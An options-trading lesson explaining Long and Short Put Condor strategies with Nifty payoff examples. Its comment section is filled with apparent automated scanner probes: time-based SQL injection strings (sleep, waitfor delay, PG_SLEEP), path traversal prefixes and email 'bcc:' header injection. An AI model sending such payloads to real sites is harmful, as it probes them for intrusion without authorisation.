Long Put Condor and Short Put Condor

LONG PUT CONDOR

Strategy Details
Strategy Type	Neutral on direction, but bearish on volatility
# of legs	4 (Long 1 Lower Strike Put + Short 1 Lower Middle Strike Put + Short 1 Higher Middle Strike Put + Long 1 Higher Strike Put)
Maximum Reward	Lower Middle Strike Price - Lower Strike Price - Net Premium Paid
Maximum Risk	Limited to the extent of Net Premium Paid
Lower Breakeven Price	Lower Strike Price + Net Premium Paid
Upper Breakeven Price	Higher Strike Price - Net Premium Paid
Payoff Calculation	Payoff of lower strike Long Put+ Payoff of lower middle strike Short Put + Payoff of higher middle strike Short Put + Payoff of higher strike Long Put

A Long Put Condor is a strategy wherein the trader would buy 1 lower strike Put, sell 1 lower middle strike Put, sell 1 higher middle strike Put, and buy 1 higher strike Put. Each of these options must belong to the same underlying instrument and must have the same expiration date. Usually, the lower strike and the lower middle strike Puts are ITM Puts, whereas the higher middle strike and the higher strike Puts are OTM Puts. At the time of initiating this strategy, the underlying price is usually somewhere between the two middle strikes. Usually, all the four options are equidistant from each other. However, this is not a hard and fast rule. Sometimes, to account for a wider maximum profit zone, traders prefer keeping a wider distance between the two middle strikes as compared to the distance between the outer strike and the corresponding middle strike.

A Long Put Condor is a direction neutral, range bound strategy. This strategy works best when the underlying price stays confined within the two middle strike price. That said, sometimes this strategy can take a slight bullish or bearish tilt. For instance, at the time of initiation, if the two middle Puts are chosen such that the underlying price is below the two middle strikes, the strategy would be slightly bullish, wherein the trader would want the underlying price to rise and enter the zone of the two middle strikes. On the other hand, if the middle Puts are chosen such that the underlying price is above the two middle strikes, the strategy would be slightly bearish, wherein the trader would want the underlying price to fall and enter the zone of the two middle strikes. This is because maximum profit occurs when the underlying is somewhere within the range of the two middle strikes by expiration.

A Long Put Condor is quite similar to a Long Put Butterfly. However, there is an important difference. Recollect that in a Long Put Butterfly, the two middle options that are sold have the same strike price and both these options are ATM at the time of initiation. On the other hand, in a Long Put Condor, the two middle options that are sold have different strike prices. Because of this, a Long Put Condor will have a wider maximum profit range, unlike a Long Put Butterfly in which the maximum profit range is restricted to just one point. As a result, an advantage of a Long Put Condor over a Long Put Butterfly is that the former will have a greater probability of earning maximum profit than the latter. That said, this comes at a price:the maximum potential profit for a Long Put Condor is quite smaller than that for a Long Put Butterfly, all else equal.

Because a Long Put Condor is a range bound strategy that benefits the most when the underlying price consolidates within the confines of the two middle strikes, it follows that the trader would want the volatility to decrease going forward, as this would increase the odds of the underlying staying within the two middle strikes. Hence, it can be said that a Long Put Condor is a range bound strategy with a bearish outlook on volatility. Also, as this is a range bound strategy, time decay is beneficial. Meanwhile, just like a Long Put Butterfly, a Long Put Condor is a net debit strategy.

This strategy has two breakeven points. As long as the underlying price is between the two breakeven points, the strategy is profitable. As said earlier, maximum profit under this strategy is limited and occurs when the underlying price is between the two middle strikes. On the other hand, the position becomes unprofitable when the underlying price either falls below the lower breakeven point or rises above the upper breakeven point. Meanwhile, maximum loss is limited to the extent of net premium paid and occurs when the underlying price is either below the lower strike or above the higher strike.

Benefits of the Strategy

Compared to a Butterfly, this strategy has a wider maximum profit zone
Maximum loss is limited no matter how higher or lower the price of the underlying goes
If strikes are chosen well, this strategy can have a favourable risk to reward ratio
Time decay benefits the position as long as it is profitable
This strategy has a greater probability for success than a Long Put Butterfly in terms of achieving the maximum profit potential

Drawbacks of the Strategy

The wider the maximum profit zone chosen, the higher will be the cost and the potential loss
An unexpected surge in volatility could be detrimental to the success of the trade
Compared to a Butterfly, maximum profit is smaller in absolute terms, all else equal
Because this strategy involves selling two options, it will require a greater margin in your trading account at the time of initiation
A potential to lose the entire net debit amount, in case the underlying falls below the lower strike or rises above the higher strike

Strategy Suggestions

See that your view on the underlying is range bound
See that your view on volatility is bearish i.e. you expect volatility to decline going forward
Ensure that the strikes are evenly placed. In other words, see that the distance between the lower and the lower middle strike is equal to that between the higher middle and the higher strike
However, sometimes, traders keep the distance between the lower middle and the higher middle strikes slightly wider than the other two to account for a larger maximum profit zone
The spread between the middle two strikes will be a trade-off between the maximum profit zone and the cost/potential loss of the strategy
The wider the spread between the middle strikes, the wider will be the maximum profit zone and the potential profit but so would be the cost as well as the potential loss, and vice versa
Because this is a range bound strategy that benefits from declining volatility, ensure that you do not give yourself too much time to go wrong
Ensure there is sufficient liquidity in the underlying that is being chosen to initiate this strategy

Option Greeks for Long Put Condor

Greek	Notes
Delta	Delta is at or near zero at initiation. It tends to peak out above zero when the underlying price is below the lower strike and bottom out below zero when the underlying price is above the higher strike. That said, while Delta does become non-zero as the underlying price moves, it does not deviate much from zero. As such, changes in the price of the underlying do not have much impact on this strategy because of the way it is structured.
Gamma	Gamma is negative and is at its lowest point in between the two middle strikes. As the underlying price starts moving away from the midpoint of the two middle strikes and approaches either the lower or the higher strike, Gamma tends to move into positive before peaking out around these extreme strikes.
Vega	Vega is negative and is at its lowest point between the two middle strikes, meaning the negative impact of a rise in volatility is the highest around the middle strikes. Volatility hurts as long as the position in profitable. That said, Vega turns positive when the position becomes unprofitable, meaning a rise in volatility now starts helping the position.
Theta	Theta is positive and is at its highest point between the two middle strikes, meaning time decay is most helpful around the middle strikes. Time decay benefits the position as long as it is profitable. That said, Theta turns negative when the position becomes unprofitable, meaning time decay now starts hurting the position.

Payoff of Long Put Condor

The above is the payoff chart of a Long Put Condor. Notice that the maximum profit potential under this strategy occurs when the underlying price is within the range of the two middle strike price. On the other hand, notice that the maximum possible loss occurs when the underlying price either falls below the lower strike price or rises above the higher strike price. Both profits and losses under this strategy are limited. Meanwhile, this strategy is in a profitable position as long as the underlying price is within the two breakeven points and is unprofitable when the underlying price goes outside either of the two breakeven point.

Example of Long Put Condor

Let us say that Mr. ABC has decided to execute a Long Put Condor strategy on Nifty. The details of the strategy are as below:

Strike price of OTM long Put = 8800
Strike price of OTM short Put = 9000
Strike price of ITM shortPut = 9200
Strike price of ITM long Put = 9400
LongPut premium (lower strike) = ₹60
Short Put premium (lower middle strike) = ₹120
Short Put premium (higher middle strike) = ₹225
LongPut premium (higher strike) = ₹355
Net Debit = ₹70 (60 + 355 - 120 - 225)
Net Debit (in value terms) = ₹5,250 (70 * 75)
Lower Breakeven point = 8870 (8800 + 70)
Upper Breakeven point = 9330 (9400 - 70)
Maximum reward = ₹9,750 ((9000 - 8800 - 70) * 75)
Maximum risk = ₹5,250

Now, let us assume a few scenarios in terms of where Nifty would be on the expiration date and the impact this would have on the profitability of the trade.

Underlying price at Expiration	Net Profit/Loss	Notes
7000	Loss of ₹5,250	Payoff = [Maximum of (8800-7000,0)-60]+[120-Maximum of (9000-7000,0)] + [225-Maximum of (9200-7000,0)] + [Maximum of (9400-7000,0)-355]. As the underlying price at expiration is below the lower breakeven point, the trader will incur a loss
8000	Loss of ₹5,250	Payoff = [Maximum of (8800-8000,0)-60]+[120-Maximum of (9000-8000,0)] + [225-Maximum of (9200-8000,0)] + [Maximum of (9400-8000,0)-355]. As the underlying price at expiration is below the lower breakeven point, the trader will incur a loss
8800	Loss of ₹5,250	Payoff = [Maximum of (8800-8800,0)-60]+[120-Maximum of (9000-8800,0)] + [225-Maximum of (9200-8800,0)] + [Maximum of (9400-8800,0)-355]. As the underlying price at expiration is below the lower breakeven point, the trader will incur a loss
8835	Loss of ₹2,625	Payoff = [Maximum of (8800-8835,0)-60]+[120-Maximum of (9000-8835,0)] + [225-Maximum of (9200-8835,0)] + [Maximum of (9400-8835,0)-355]. As the underlying price at expiration is below the lower breakeven point, the trader will incur a loss
8870	No profit, No loss	Payoff = [Maximum of (8800-8870,0)-60]+[120-Maximum of (9000-8870,0)] + [225-Maximum of (9200-8870,0)] + [Maximum of (9400-8870,0)-355]. As the underlying price at expiration is equal to the lower breakeven point, the trader will neither make a profit nor incur a loss
8900	Profit of ₹2,250	Payoff = [Maximum of (8800-8900,0)-60]+[120-Maximum of (9000-8900,0)] + [225-Maximum of (9200-8900,0)] + [Maximum of (9400-8900,0)-355]. As the underlying price at expiration is between the two breakeven points, the trader will make a profit
9000	Profit of ₹9,750	Payoff = [Maximum of (8800-9000,0)-60]+[120-Maximum of (9000-9000,0)] + [225-Maximum of (9200-9000,0)] + [Maximum of (9400-9000,0)-355]. As the underlying price at expiration is between the two breakeven points, the trader will make a profit
9100	Profit of ₹9,750	Payoff = [Maximum of (8800-9100,0)-60]+[120-Maximum of (9000-9100,0)] + [225-Maximum of (9200-9100,0)] + [Maximum of (9400-9100,0)-355]. As the underlying price at expiration is between the two breakeven points, the trader will make a profit
9200	Profit of ₹9,750	Payoff = [Maximum of (8800-9200,0)-60]+[120-Maximum of (9000-9200,0)] + [225-Maximum of (9200-9200,0)] + [Maximum of (9400-9200,0)-355]. As the underlying price at expiration is between the two breakeven points, the trader will make a profit
9300	Profit of ₹2,250	Payoff = [Maximum of (8800-9300,0)-60]+[120-Maximum of (9000-9300,0)] + [225-Maximum of (9200-9300,0)] + [Maximum of (9400-9300,0)-355]. As the underlying price at expiration is between the two breakeven points, the trader will make a profit
9330	No profit, No loss	Payoff = [Maximum of (8800-9330,0)-60]+[120-Maximum of (9000-9330,0)] + [225-Maximum of (9200-9330,0)] + [Maximum of (9400-9330,0)-355]. As the underlying price at expiration is equal to the upper breakeven point, the trader will neither make a profit nor incur a loss
9365	Loss of ₹2,625	Payoff = [Maximum of (8800-9365,0)-60]+[120-Maximum of (9000-9365,0)] + [225-Maximum of (9200-9365,0)] + [Maximum of (9400-9365,0)-355]. As the underlying price at expiration is above the upper breakeven point, the trader will incur a loss
9400	Loss of ₹5,250	Payoff = [Maximum of (8800-9400,0)-60]+[120-Maximum of (9000-9400,0)] + [225-Maximum of (9200-9400,0)] + [Maximum of (9400-9400,0)-355]. As the underlying price at expiration is above the upper breakeven point, the trader will incur a loss
10000	Loss of ₹5,250	Payoff = [Maximum of (8800-10000,0)-60]+[120-Maximum of (9000-10000,0)] + [225-Maximum of (9200-10000,0)] + [Maximum of (9400-10000,0)-355]. As the underlying price at expiration is above the upper breakeven point, the trader will incur a loss
12000	Loss of ₹5,250	Payoff = [Maximum of (8800-12000,0)-60]+[120-Maximum of (9000-12000,0)] + [225-Maximum of (9200-12000,0)] + [Maximum of (9400-12000,0)-355]. As the underlying price at expiration is above the upper breakeven point, the trader will incur a loss

Observe above that the trader suffers the highest possible loss of ₹5,250 when Nifty is either below the lower strike of 8800 or above the upper strike of 9400. Meanwhile, notice that the maximum possible profit under this strategy is ₹9,750 and occurs when Nifty stays range bound between the two middle strikes of 9000 and 9200. The strategy stays profitable as long as Nifty is inside the two breakeven points of 8870 and 9330 and becomes unprofitable when Nifty moves outside one of the two breakeven points. Meanwhile, notice that for this strategy, the risk/reward ratio stands at 1.85.

SHORT PUT CONDOR

Strategy Details
Strategy Type	Neutral on direction, but bullish on volatility
# of legs	4 (Short 1 Lower Strike Put + Long 1 Lower Middle Strike Put + Long 1 Higher Middle Strike Put + Short 1 Higher Strike Put)
Maximum Reward	Limited to the extent of Net Premium Received
Maximum Risk	Lower Middle Strike Price - Lower Strike Price - Net Premium Received
Lower Breakeven Price	Lower Strike Price + Net Premium Received
Upper Breakeven Price	Higher Strike Price - Net Premium Received
Payoff Calculation	Payoff of lower strike Short Put+ Payoff of lower middle strike Long Put + Payoff of higher middle strike Long Put + Payoff of higher strike Short Put

Explanation of the Strategy

A Short Put Condor is an option strategy wherein the trader would sell a lower strike Put, buy a lower middle strike Put, buy a higher middle strike Put, and sell a higher strike Put. Each of these options must belong to the same underlying and must have the same expiration. Generally, the lower strike and the lower middle strike Put are both OTM, whereas the higher middle strike and the higher strike Put are both ITM. Usually, but not always, all the four options are equidistant from each other.

Unlike a Long Put Condor, which is a net debit strategy, a Short Put Condor is a net credit strategy. This strategy achieves its maximum profit potential when the underlying price either falls below the lower strike or rises above the higher strike. As such, volatility is of utmost importance to the success of this strategy. The direction in which the underlying price moves does not matter. What is however important is that the underlying price must swing in either direction (up or down). Hence, it can be said that this strategy is neutral on direction, but bullish on volatility.

Unlike a Short Put Butterfly, in which maximum loss occurs at one point only (the middle strike), a Short Put Condor has a wider maximum loss zone (because the two middle strikes are different). If the underlying price gets stuck between the two middle strikes, the trader will suffer maximum loss under this strategy. Hence, when executing this strategy, the trader must have conviction that the underlying will trend up or down and that volatility will increase going forward. Meanwhile, this strategy has two breakeven points, lower and upper. The strategy is unprofitable when the underlying price is within the range of the two breakeven points and is profitable when the underlying price moves outside one of the two breakeven points.

Just like a Short Put Butterfly, a Short Put Condor also has an unattractive risk to reward profile as the risk is greater than the potential reward. As a result, this strategy must preferably be executed by professional option traders only.

Benefits of the Strategy

This is a net credit strategy, meaning there is no cash outflow at the time of initiation
This strategy works well during times when volatility is expected to rise
Maximum loss under this strategy is limited and is known beforehand

Drawbacks of the Strategy

Compared to a Butterfly, this strategy has a wider maximum loss zone
The risk to reward ratio under this strategy is quite unattractive
Time decay hurts the position as long as it is unprofitable
An unexpected contraction in volatility could be detrimental to the success of the trade
Because this strategy involves selling two options, it will require a greater margin in your trading account at the time of initiation

Strategy Suggestions

See that your view on the underlying is direction neutral
See that your view on volatility is bullish i.e. you expect volatility to increase sharply going forward
Ensure that the strikes are evenly placed. In other words, see that the distance between the lower and the lower middle strike is equal to that between the higher middle and the higher strike
However, sometimes, traders keep the distance between the lower middle and the higher middle strikes slightly narrower than the other two to account for a smaller maximum loss zone
The spread between the middle two strikes will be a trade-off between the maximum loss-making zone and the potential reward of the strategy
The wider the spread between the middle strikes, the wider will be the maximum loss-making zone and the maximum possible loss, but so would the maximum possible profit, and vice versa
Because this is a direction neutral strategy that benefits from rising volatility, ensure that you give yourself sufficient time to go right
Ensure there is sufficient liquidity in the underlying that is being chosen to initiate this strategy

Option Greeks for Short Put Condor

Greek	Notes
Delta	Delta is at or near zero at initiation. It tends to bottom out below zero when the underlying price is below the lower strike and peak out above zero when the underlying price is above the higher strike. That said, while Delta does become non-zero as the underlying price moves, it does not deviate much from zero. As such, changes in the price of the underlying do not have much impact on this strategy because of the way it is structured.
Gamma	Gamma is positive and is at its highest point in between the two middle strikes. As the underlying price moves away from the midpoint of the two middle strike and approaches either the lower or the higher strike, Gamma tends to move into negative before bottoming out around these extreme strikes.
Vega	Vega is positive and is at its highest point between the two middle strikes, meaning the positive impact of a rise in volatility is the greatestaround the middle strikes. Volatility benefits as long as the position in unprofitable. That said, Vega turns negative when the position becomes profitable, meaning a rise in volatility now starts hurting the position.
Theta	Theta is negative and is at its lowest point between the two middle strikes, meaning time decay hurts the most around the middle strikes. Time decay hurts the position as long as it is unprofitable. That said, Theta turns positive when the position becomes profitable, meaning time decay now starts benefiting the position.

Payoff of Short Put Condor

The above is the payoff chart of a Short Put Condor strategy. Observe that maximum profit under this strategy occurs when the underlying price either falls below the lower strike or rises above the higher strike. On the other hand, see that maximum loss occurs when the underlying price is within the range of the two middle strikes. As the underlying price at initiation is somewhere within the range of the two middle strikes, the trader would want volatility to pick up going forward, so that the probability of the strategy to achieve its maximum profit potential increases.

Example of Short Put Condor

Let us say that Mr. ABC has decided to execute a Short Put Condor strategy on Nifty. The details of the strategy are as below:

Strike price of OTM short Put = 8800
Strike price of OTM long Put = 9000
Strike price of ITM longPut = 9200
Strike price of ITM short Put = 9400
ShortPut premium (lower strike) = ₹60
Long Put premium (lower middle strike) = ₹120
Long Put premium (higher middle strike) = ₹225
ShortPut premium (higher strike) = ₹355
Net Credit = ₹70 (60 + 355 - 120 - 225)
Net Credit (in value terms) = ₹5,250 (70 * 75)
Lower Breakeven point = 8870 (8800 + 70)
Upper Breakeven point = 9330 (9400 - 70)
Maximum reward = ₹5,250
Maximum risk = ₹9,750 ((9000 - 8800 - 70) * 75)

Now, let us assume a few scenarios in terms of where Nifty would be on the expiration date and the impact this would have on the profitability of the trade.

Underlying price at Expiration	Net Profit/Loss	Notes
7000	Profit of ₹5,250	Payoff = [60-Maximum of (8800-7000,0)]+[Maximum of (9000-7000,0)-120] + [Maximum of (9200-7000,0)-225] + [355-Maximum of (9400-7000,0)]. As the underlying price at expiration is below the lower breakeven point, the trader will make a profit
8000	Profit of ₹5,250	Payoff = [60-Maximum of (8800-8000,0)]+[Maximum of (9000-8000,0)-120] + [Maximum of (9200-8000,0)-225] + [355-Maximum of (9400-8000,0)]. As the underlying price at expiration is below the lower breakeven point, the trader will make a profit
8800	Profit of ₹5,250	Payoff = [60-Maximum of (8800-8800,0)]+[Maximum of (9000-8800,0)-120] + [Maximum of (9200-8800,0)-225] + [355-Maximum of (9400-8800,0)]. As the underlying price at expiration is below the lower breakeven point, the trader will make a profit
8835	Profit of ₹2,625	Payoff = [60-Maximum of (8800-8835,0)]+[Maximum of (9000-8835,0)-120] + [Maximum of (9200-8835,0)-225] + [355-Maximum of (9400-8835,0)]. As the underlying price at expiration is below the lower breakeven point, the trader will make a profit
8870	No profit, No loss	Payoff = [60-Maximum of (8800-8870,0)]+[Maximum of (9000-8870,0)-120] + [Maximum of (9200-8870,0)-225] + [355-Maximum of (9400-8870,0)]. As the underlying price at expiration is equal to the lower breakeven point, the trader will neither make a profit nor incur a loss
8900	Loss of ₹2,250	Payoff = [60-Maximum of (8800-8900,0)]+[Maximum of (9000-8900,0)-120] + [Maximum of (9200-8900,0)-225] + [355-Maximum of (9400-8900,0)]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
9000	Loss of ₹9,750	Payoff = [60-Maximum of (8800-9000,0)]+[Maximum of (9000-9000,0)-120] + [Maximum of (9200-9000,0)-225] + [355-Maximum of (9400-9000,0)]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
9100	Loss of ₹9,750	Payoff = [60-Maximum of (8800-9100,0)]+[Maximum of (9000-9100,0)-120] + [Maximum of (9200-9100,0)-225] + [355-Maximum of (9400-9100,0)]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
9200	Loss of ₹9,750	Payoff = [60-Maximum of (8800-9200,0)]+[Maximum of (9000-9200,0)-120] + [Maximum of (9200-9200,0)-225] + [355-Maximum of (9400-9200,0)]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
9300	Loss of ₹2,250	Payoff = [60-Maximum of (8800-9300,0)]+[Maximum of (9000-9300,0)-120] + [Maximum of (9200-9300,0)-225] + [355-Maximum of (9400-9300,0)]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
9330	No profit, No loss	Payoff = [60-Maximum of (8800-9330,0)]+[Maximum of (9000-9330,0)-120] + [Maximum of (9200-9330,0)-225] + [355-Maximum of (9400-9330,0)]. As the underlying price at expiration is equal to the upper breakeven point, the trader will neither make a profit nor incur a loss
9365	Profit of ₹2,625	Payoff = [60-Maximum of (8800-9365,0)]+[Maximum of (9000-9365,0)-120] + [Maximum of (9200-9365,0)-225] + [355-Maximum of (9400-9365,0)]. As the underlying price at expiration is above the upper breakeven point, the trader will make a profit
9400	Profit of ₹5,250	Payoff = [60-Maximum of (8800-9400,0)]+[Maximum of (9000-9400,0)-120] + [Maximum of (9200-9400,0)-225] + [355-Maximum of (9400-9400,0)]. As the underlying price at expiration is above the upper breakeven point, the trader will make a profit
10000	Profit of ₹5,250	Payoff = [60-Maximum of (8800-10000,0)]+[Maximum of (9000-10000,0)-120] + [Maximum of (9200-10000,0)-225] + [355-Maximum of (9400-10000,0)]. As the underlying price at expiration is above the upper breakeven point, the trader will make a profit
12000	Profit of ₹5,250	Payoff = [60-Maximum of (8800-12000,0)]+[Maximum of (9000-12000,0)-120] + [Maximum of (9200-12000,0)-225] + [355-Maximum of (9400-12000,0)]. As the underlying price at expiration is above the upper breakeven point, the trader will make a profit

In the above table, see that maximum profit under this strategy occurs at extremes, i.e. when Nifty moves either below the lower strike of 8800 or above the higher strike of 9400. On the other hand, maximum loss under this strategy occurs when Nifty gets stuck between the two middle strikes of 9000 and 9200. Hence, the trader who initiates this strategy would want Nifty to move much outside one of these middle strikes, irrespective of direction. Meanwhile, for this strategy, the two breakeven points are at 8870 and 9330. The position is loss-making as long as Nifty is trading between these two points and is profitable when Nifty is trading outside one of these two points.

Next Chapter

Long Iron Condor and Short Iron Condor

18 Lessons

In this chapter, we shall discuss two option strategies: Long Iron Condor and Short Iron Condor. We shall talk about the various aspects of these two strategies including payoffs, Greeks, and illustrations with examples.

Long Straddle and Short Straddle

15 Lessons

In this chapter, we shall discuss two option strategies: Long Straddle and Short Straddle. We shall talk about the various aspects of these two strategies including payoffs, Greeks, and illustrations with examples.

Comments & Discussions in

FYERS Community

Responses

wrBEIRqX commented on November 9th, 2023 at 7:47 PM
555

wrBEIRqX commented on November 9th, 2023 at 7:50 PM
555

wrBEIRqX commented on November 9th, 2023 at 7:51 PM
555

wrBEIRqX commented on November 9th, 2023 at 7:59 PM
555

-1 OR 2+204-204-1=0+0+0+1 -- commented on November 9th, 2023 at 7:59 PM
555

-1 OR 2+590-590-1=0+0+0+1 commented on November 9th, 2023 at 7:59 PM
555

-1' OR 2+857-857-1=0+0+0+1 -- commented on November 9th, 2023 at 7:59 PM
555

-1' OR 2+225-225-1=0+0+0+1 or 'LdxXp2SM'=' commented on November 9th, 2023 at 7:59 PM
555

-1" OR 2+446-446-1=0+0+0+1 -- commented on November 9th, 2023 at 7:59 PM
555

if(now()=sysdate(),sleep(15),0) commented on November 9th, 2023 at 8:00 PM
555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z commented on November 9th, 2023 at 8:01 PM
555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z commented on November 9th, 2023 at 8:01 PM
555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ commented on November 9th, 2023 at 8:02 PM
555

1 waitfor delay '0:0:15' -- commented on November 9th, 2023 at 8:03 PM
555

yVM3YKUS'; waitfor delay '0:0:15' -- commented on November 9th, 2023 at 8:04 PM
555

MqszFCSU' OR 346=(SELECT 346 FROM PG_SLEEP(15))-- commented on November 9th, 2023 at 8:05 PM
555

zfU8O8pO') OR 574=(SELECT 574 FROM PG_SLEEP(15))-- commented on November 9th, 2023 at 8:05 PM
555

uMXWNKxa')) OR 493=(SELECT 493 FROM PG_SLEEP(15))-- commented on November 9th, 2023 at 8:06 PM
555

wrBEIRqX'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' commented on November 9th, 2023 at 8:07 PM
555

1'" commented on November 9th, 2023 at 8:07 PM
555

@@y2GCf commented on November 9th, 2023 at 8:07 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:07 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:08 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:08 PM
-1 OR 2+841-841-1=0+0+0+1 --

wrBEIRqX commented on November 9th, 2023 at 8:08 PM
-1 OR 2+361-361-1=0+0+0+1

wrBEIRqX commented on November 9th, 2023 at 8:08 PM
-1' OR 2+784-784-1=0+0+0+1 --

wrBEIRqX commented on November 9th, 2023 at 8:08 PM
-1' OR 2+617-617-1=0+0+0+1 or 'dRaIwRMH'='

wrBEIRqX commented on November 9th, 2023 at 8:08 PM
-1" OR 2+678-678-1=0+0+0+1 --

wrBEIRqX commented on November 9th, 2023 at 8:09 PM
if(now()=sysdate(),sleep(15),0)

wrBEIRqX commented on November 9th, 2023 at 8:10 PM
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

wrBEIRqX commented on November 9th, 2023 at 8:11 PM
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

wrBEIRqX commented on November 9th, 2023 at 8:11 PM
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

wrBEIRqX commented on November 9th, 2023 at 8:12 PM
-1; waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 8:13 PM
-1); waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 8:13 PM
1 waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 8:14 PM
Jfj1nVTK'; waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 8:15 PM
-5 OR 855=(SELECT 855 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 8:16 PM
-5) OR 315=(SELECT 315 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 8:16 PM
-1)) OR 419=(SELECT 419 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 8:17 PM
ICmd5ZNO' OR 285=(SELECT 285 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 8:18 PM
sMQCN15t') OR 68=(SELECT 68 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 8:18 PM
a1RLDm7e')) OR 662=(SELECT 662 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 8:19 PM
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

wrBEIRqX commented on November 9th, 2023 at 8:20 PM
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

wrBEIRqX commented on November 9th, 2023 at 8:20 PM
1'"

wrBEIRqX commented on November 9th, 2023 at 8:20 PM
@@E1TXv

wrBEIRqX commented on November 9th, 2023 at 8:21 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:22 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:23 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:24 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:25 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:26 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:27 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:28 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:29 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:30 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:31 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:32 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:33 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:34 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:35 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:36 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:37 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:38 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:39 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:40 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:47 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:48 PM
555

wrBEIRqX commented on November 9th, 2023 at 8:57 PM
555

wrBEIRqX commented on November 9th, 2023 at 10:07 PM
555

wrBEIRqX commented on November 9th, 2023 at 10:08 PM
555

wrBEIRqX commented on November 9th, 2023 at 10:09 PM
555

zbdrariI commented on November 13th, 2023 at 2:08 AM
555

zbdrariI commented on November 13th, 2023 at 2:23 AM
555

zbdrariI commented on November 13th, 2023 at 2:24 AM
555

zbdrariI commented on November 13th, 2023 at 2:25 AM
555

1'" commented on November 13th, 2023 at 2:26 AM
555

@@ETlUk commented on November 13th, 2023 at 2:26 AM
555

zbdrariI commented on November 13th, 2023 at 2:26 AM
555

zbdrariI commented on November 13th, 2023 at 2:28 AM
1'"

zbdrariI commented on November 13th, 2023 at 2:28 AM
@@nSoDy

zbdrariI commented on November 13th, 2023 at 2:28 AM
555

zbdrariI commented on November 13th, 2023 at 2:29 AM
555

zbdrariI commented on November 13th, 2023 at 2:30 AM
555

zbdrariI commented on November 13th, 2023 at 2:31 AM
555

zbdrariI commented on November 13th, 2023 at 2:32 AM
555

zbdrariI commented on November 13th, 2023 at 2:34 AM
555

zbdrariI commented on November 13th, 2023 at 2:48 AM
555

zbdrariI commented on November 13th, 2023 at 2:50 AM
555

zbdrariI commented on December 2nd, 2023 at 10:34 AM
555

zbdrariI commented on December 2nd, 2023 at 10:43 AM
555

zbdrariI commented on December 2nd, 2023 at 10:47 AM
555

1'" commented on December 2nd, 2023 at 10:51 AM
555

@@eQcl8 commented on December 2nd, 2023 at 10:51 AM
555

zbdrariI commented on December 2nd, 2023 at 10:52 AM
555

zbdrariI commented on December 2nd, 2023 at 10:58 AM
1'"

zbdrariI commented on December 2nd, 2023 at 10:58 AM
@@E5BQh

zbdrariI commented on December 2nd, 2023 at 10:58 AM
555

zbdrariI commented on December 2nd, 2023 at 11:03 AM
555

zbdrariI commented on December 2nd, 2023 at 11:07 AM
555

zbdrariI commented on December 2nd, 2023 at 11:08 AM
555

zbdrariI commented on December 2nd, 2023 at 11:12 AM
555

zbdrariI commented on December 2nd, 2023 at 11:17 AM
555

zbdrariI commented on December 2nd, 2023 at 11:51 AM
555

zbdrariI commented on December 2nd, 2023 at 11:53 AM
555

zbdrariI commented on December 2nd, 2023 at 11:54 AM
555

fKxorhrg commented on December 12th, 2023 at 9:20 AM
555

fKxorhrg commented on December 12th, 2023 at 9:39 AM
555

1CPhL6sXBaO commented on December 12th, 2023 at 9:39 AM
555

fKxorhrg commented on December 12th, 2023 at 9:39 AM
1Bx5CmQHf6O

fKxorhrg commented on December 12th, 2023 at 9:39 AM
555

fKxorhrg commented on December 12th, 2023 at 9:40 AM
555

../fKxorhrg commented on December 12th, 2023 at 9:40 AM
555

fKxorhrg commented on December 12th, 2023 at 9:40 AM
555

fKxorhrg commented on December 12th, 2023 at 9:40 AM
../555

fKxorhrg commented on December 12th, 2023 at 9:40 AM
555

fKxorhrg bcc:[email protected] commented on December 12th, 2023 at 9:40 AM
555

fKxorhrg commented on December 12th, 2023 at 9:40 AM
555

[email protected]> bcc:[email protected] commented on December 12th, 2023 at 9:40 AM
555

fKxorhrg commented on December 12th, 2023 at 9:40 AM
555
bcc:[email protected]

